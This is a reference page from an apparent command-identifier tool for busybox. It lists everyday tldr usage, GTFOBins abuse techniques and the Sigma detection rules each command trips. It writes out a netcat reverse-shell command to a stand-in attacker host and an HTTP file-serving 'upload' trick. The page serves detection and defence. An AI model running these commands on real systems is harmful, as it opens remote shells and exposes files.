Ceplin Command Identifier

Identifier / Programs / Linux and Unix

busybox

A collection of small system utilities in a single executable. Executing busybox via a symlink is equivalent to running busybox symlink_name. Linux distributions that use BusyBox will usually provide symlinks for all programs. tldr-pages

GTFOBins inherit, reverse-shell, upload 2 Sigma rules name it 1 ATT&CK technique 4 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How busybox is abused

documented by GTFOBins

inherit

ash

inherit

cat

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-e

upload

httpd

-f
-p
-h

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for busybox.

4 documented commands

from GTFOBins, each read by the identifier

inherit unprivileged, with sudo

busybox ash
Identify

Trips no Sigma process-creation rule.

inherit unprivileged, with sudo

busybox cat
Identify

Trips no Sigma process-creation rule.

reverse-shell unprivileged, with sudo

busybox nc -e /bin/sh attacker.com 12345
Identify

Trips 3 Sigma rules: highPotential Netcat Reverse Shell Execution by @d4ns4n_, Nasreddine Bencherchali (Nextron Systems); lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community

upload unprivileged, with sudo

This serves files in the local folder via an HTTP server.

busybox httpd -f -p 12345 -h .
Identify

Trips no Sigma process-creation rule.

1 of the 4 commands the identifier reads trips a Sigma process-creation rule; 3 trip none. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for busybox. The identifier reads the line of each that runs busybox.

What detects it

Sigma process creation rules
highLinux Suspicious Child Process from Node.js - React2ShellSwachchhanda Shrawan Poudel (Nextron Systems), Nasreddine Bencherchali
T1059.004Command and Scripting Interpreter: Unix Shell

Everyday use

from tldr-pages, CC BY 4.0

Execute a BusyBox function

busybox ls argsIdentify

Display help and a list of functions

busybox --helpIdentify

None of the 2 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.